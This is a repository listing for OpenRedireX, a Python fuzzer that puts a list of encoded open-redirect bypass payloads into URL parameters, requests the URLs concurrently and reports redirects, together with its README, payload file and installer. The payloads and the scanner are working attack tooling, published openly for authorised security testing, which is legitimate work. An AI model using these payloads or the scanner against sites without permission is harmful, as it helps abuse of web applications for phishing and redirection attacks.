├── LICENSE ├── README.md ├── openredirex.py ├── payloads.txt ├── setup.sh └── static └── openredirex.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Devansh Batham 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |

3 | OpenRedireX 4 |
5 |

6 | 7 |

A fuzzer for detecting open redirect vulnerabilities

8 | 9 | 10 |

11 | 🏗️ Install 12 | ⛏️ Usage 13 | 📚 Dependencies 14 |
15 |

16 | 17 | ![OpenRedirex](https://github.com/devanshbatham/OpenRedireX/blob/master/static/openredirex.png?raw=true) 18 | 19 | # Install 20 | 21 | ```sh 22 | git clone https://github.com/devanshbatham/openredirex 23 | cd openredirex 24 | sudo chmod +x setup.sh 25 | ./setup.sh 26 | ``` 27 | 28 | # Usage 29 | 30 | The script is executed from the command line and has the following usage options: 31 | 32 | ```sh 33 | openredirex [-p payloads] [-k keyword] [-c concurrency] 34 | ``` 35 | 36 | - `-p`, `--payloads`: File containing a list of payloads. If not specified, a hardcoded list is used. 37 | - `-k`, `--keyword`: Keyword in URLs to replace with payload. Default is "FUZZ". 38 | - `-c`, `--concurrency`: Number of concurrent tasks. Default is 100. 39 | 40 | The script expects a list of URLs as input. Each URL should contain the keyword specified by the `-k` option. The script replaces the keyword with each of the payloads, and attempts to fetch the modified URL. 41 | 42 | Example usage: 43 | 44 | ```sh 45 | cat list_of_urls.txt | openredirex -p payloads.txt -k "FUZZ" -c 50 46 | ``` 47 | 48 | 49 | List of URLs should look like below: 50 | 51 | 52 | ``` 53 | cat list_of_urls.txt 54 | 55 | https://newsroom.example.com/logout?redirect=FUZZ 56 | https://auth.example.com/auth/realms/sonatype/protocol/openid-connect/logout?redirect_uri=test 57 | https://exmaple.com/php?test=baz&foo=bar 58 | ``` 59 | 60 | This example reads URLs from the file `list_of_urls.txt`, replaces all the values of the parameters to `FUZZ` (if `--keyword` is not supplied), then again replaces the keyword `FUZZ` or the supplied keyword with each payload from `payloads.txt`, and fetches each URL concurrently, with a maximum of 50 concurrent tasks. 61 | 62 | 63 | 64 | # Dependencies 65 | 66 | The script uses the following libraries: 67 | 68 | - `argparse` for handling command-line arguments. 69 | - `aiohttp` for making HTTP requests. 70 | - `tqdm` for displaying progress. 71 | - `concurrent.futures` for handling concurrent tasks. 72 | - `asyncio` for managing asynchronous tasks. 73 | 74 | You need to install these dependencies before running the script. Most of them are part of the standard Python library. You can install `aiohttp` and `tqdm` using pip: 75 | 76 | ```sh 77 | pip install aiohttp tqdm 78 | ``` 79 | 80 | You can use this script to check for open redirects in web applications. However, you should only use it on systems that you have been given explicit permission to test. 81 | -------------------------------------------------------------------------------- /openredirex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import asyncio 4 | import aiohttp 5 | import argparse 6 | import sys 7 | import socket 8 | from aiohttp import ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects 9 | from tqdm import tqdm 10 | import concurrent.futures 11 | from urllib.parse import urlparse, parse_qsl, urlencode, urlunparse 12 | from typing import List 13 | 14 | 15 | # Color constants 16 | LIGHT_GREEN = '\033[92m' # Light Green 17 | DARK_GREEN = '\033[32m' # Dark Green 18 | ENDC = '\033[0m' # Reset to default color 19 | 20 | redirect_payloads = [ 21 | "//example.com@google.com/%2f..", 22 | "///google.com/%2f..", 23 | "///example.com@google.com/%2f..", 24 | "////google.com/%2f..", 25 | "https://google.com/%2f..", 26 | "https://example.com@google.com/%2f..", 27 | "/https://google.com/%2f..", 28 | "/https://example.com@google.com/%2f..", 29 | "//google.com/%2f%2e%2e", 30 | "//example.com@google.com/%2f%2e%2e", 31 | "///google.com/%2f%2e%2e", 32 | "///example.com@google.com/%2f%2e%2e", 33 | "////google.com/%2f%2e%2e", 34 | "/http://example.com", 35 | "/http:/example.com", 36 | "/https:/%5cexample.com/", 37 | "/https://%09/example.com", 38 | "/https://%5cexample.com", 39 | "/https:///example.com/%2e%2e", 40 | "/https:///example.com/%2f%2e%2e", 41 | "/https://example.com", 42 | "/https://example.com/", 43 | "/https://example.com/%2e%2e", 44 | "/https://example.com/%2e%2e%2f", 45 | "/https://example.com/%2f%2e%2e", 46 | "/https://example.com/%2f..", 47 | "/https://example.com//", 48 | "/https:example.com", 49 | "/%09/example.com", 50 | "/%2f%2fexample.com", 51 | "/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/", 52 | "/%5cexample.com", 53 | "/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d", 54 | "/.example.com", 55 | "//%09/example.com", 56 | "//%5cexample.com", 57 | "///%09/example.com", 58 | "///%5cexample.com", 59 | "////%09/example.com", 60 | "////%5cexample.com", 61 | "/////example.com", 62 | "/////example.com/", 63 | "////\;@example.com", 64 | "////example.com/" 65 | ] 66 | 67 | async def load_payloads(payloads_file): 68 | if payloads_file: 69 | with open(payloads_file) as f: 70 | return [line.strip() for line in f] 71 | else: 72 | return redirect_payloads # Return hardcoded list if no file specified 73 | 74 | 75 | def fuzzify_url(url: str, keyword: str) -> str: 76 | # If the keyword is already in the url, return the url as is. 77 | if keyword in url: 78 | return url 79 | 80 | # Otherwise, replace all parameter values with the keyword. 81 | parsed_url = urlparse(url) 82 | params = parse_qsl(parsed_url.query) 83 | fuzzed_params = [(k, keyword) for k, _ in params] 84 | fuzzed_query = urlencode(fuzzed_params) 85 | 86 | # Construct the fuzzified url. 87 | fuzzed_url = urlunparse( 88 | [parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, fuzzed_query, parsed_url.fragment]) 89 | 90 | return fuzzed_url 91 | 92 | 93 | def load_urls() -> List[str]: 94 | urls = [] 95 | for line in sys.stdin: 96 | url = line.strip() 97 | fuzzed_url = fuzzify_url(url, "FUZZ") 98 | urls.append(fuzzed_url) 99 | return urls 100 | 101 | 102 | 103 | async def fetch_url(session, url): 104 | try: 105 | async with session.head(url, allow_redirects=True, timeout=10) as response: 106 | return response 107 | except (ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects, UnicodeDecodeError, socket.gaierror, asyncio.exceptions.TimeoutError): 108 | tqdm.write(f'[ERROR] Error fetching: {url}', file=sys.stderr) 109 | return None 110 | 111 | async def process_url(semaphore, session, url, payloads, keyword, pbar): 112 | async with semaphore: 113 | for payload in payloads: 114 | filled_url = url.replace(keyword, payload) 115 | response = await fetch_url(session, filled_url) 116 | if response and response.history: 117 | locations = " --> ".join(str(r.url) for r in response.history) 118 | # If the string contains "-->", print in green 119 | if "-->" in locations: 120 | tqdm.write(f'{DARK_GREEN}[FOUND]{ENDC} {LIGHT_GREEN}{filled_url} redirects to {locations}{ENDC}') 121 | else: 122 | tqdm.write(f'[INFO] {filled_url} redirects to {locations}') 123 | pbar.update() 124 | 125 | async def process_urls(semaphore, session, urls, payloads, keyword): 126 | with tqdm(total=len(urls) * len(payloads), ncols=70, desc='Processing', unit='url', position=0) as pbar: 127 | tasks = [] 128 | for url in urls: 129 | tasks.append(process_url(semaphore, session, url, payloads, keyword, pbar)) 130 | await asyncio.gather(*tasks, return_exceptions=True) 131 | 132 | async def main(args): 133 | payloads = await load_payloads(args.payloads) 134 | urls = load_urls() 135 | tqdm.write(f'[INFO] Processing {len(urls)} URLs with {len(payloads)} payloads.') 136 | async with aiohttp.ClientSession() as session: 137 | semaphore = asyncio.Semaphore(args.concurrency) 138 | await process_urls(semaphore, session, urls, payloads, args.keyword) 139 | 140 | if __name__ == "__main__": 141 | banner = """ 142 | ____ ____ ___ 143 | / __ \____ ___ ____ / __ \___ ____/ (_)_______ _ __ 144 | / / / / __ \/ _ \/ __ \/ /_/ / _ \/ __ / / ___/ _ \| |/_/ 145 | / /_/ / /_/ / __/ / / / _, _/ __/ /_/ / / / / __/> < 146 | \____/ .___/\___/_/ /_/_/ |_|\___/\__,_/_/_/ \___/_/|_| 147 | /_/ 148 | 149 | """ 150 | print(banner) 151 | parser = argparse.ArgumentParser(description="OpenRedireX : A fuzzer for detecting open redirect vulnerabilities") 152 | parser.add_argument('-p', '--payloads', help='file of payloads', required=False) 153 | parser.add_argument('-k', '--keyword', help='keyword in urls to replace with payload (default is FUZZ)', default="FUZZ") 154 | parser.add_argument('-c', '--concurrency', help='number of concurrent tasks (default is 100)', type=int, default=100) 155 | args = parser.parse_args() 156 | try: 157 | asyncio.run(main(args)) 158 | except KeyboardInterrupt: 159 | print("\nInterrupted by user. Exiting...") 160 | sys.exit(0) 161 | -------------------------------------------------------------------------------- /payloads.txt: -------------------------------------------------------------------------------- 1 | //example.com@google.com/%2f.. 2 | ///google.com/%2f.. 3 | ///example.com@google.com/%2f.. 4 | ////google.com/%2f.. 5 | https://google.com/%2f.. 6 | https://example.com@google.com/%2f.. 7 | /https://google.com/%2f.. 8 | /https://example.com@google.com/%2f.. 9 | //google.com/%2f%2e%2e 10 | //example.com@google.com/%2f%2e%2e 11 | ///google.com/%2f%2e%2e 12 | ///example.com@google.com/%2f%2e%2e 13 | ////google.com/%2f%2e%2e 14 | /http://example.com 15 | /http:/example.com 16 | /https:/%5cexample.com/ 17 | /https://%09/example.com 18 | /https://%5cexample.com 19 | /https:///example.com/%2e%2e 20 | /https:///example.com/%2f%2e%2e 21 | /https://example.com 22 | /https://example.com/ 23 | /https://example.com/%2e%2e 24 | /https://example.com/%2e%2e%2f 25 | /https://example.com/%2f%2e%2e 26 | /https://example.com/%2f.. 27 | /https://example.com// 28 | /https:example.com 29 | /%09/example.com 30 | /%2f%2fexample.com 31 | /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/ 32 | /%5cexample.com 33 | /%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d 34 | /.example.com 35 | //%09/example.com 36 | //%5cexample.com 37 | ///%09/example.com 38 | ///%5cexample.com 39 | ////%09/example.com 40 | ////%5cexample.com 41 | /////example.com 42 | /////example.com/ 43 | ////\;@example.com 44 | ////example.com/ -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Rename the openredirex.py file to openredirex 4 | mv openredirex.py openredirex 5 | 6 | 7 | # Move the openredirex file to /usr/local/bin 8 | sudo mv openredirex /usr/local/bin/ 9 | 10 | # Make the openredirex file executable 11 | sudo chmod +x /usr/local/bin/openredirex 12 | 13 | # Remove the openredirex.pyc file if it exists 14 | if [ -f openredirex.pyc ]; then 15 | rm openredirex.pyc 16 | fi 17 | 18 | echo "openredirex has been installed successfully!" -------------------------------------------------------------------------------- /static/openredirex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devanshbatham/OpenRedireX/383aea012eed8f3dce2b285d6df73fe5512fde03/static/openredirex.png --------------------------------------------------------------------------------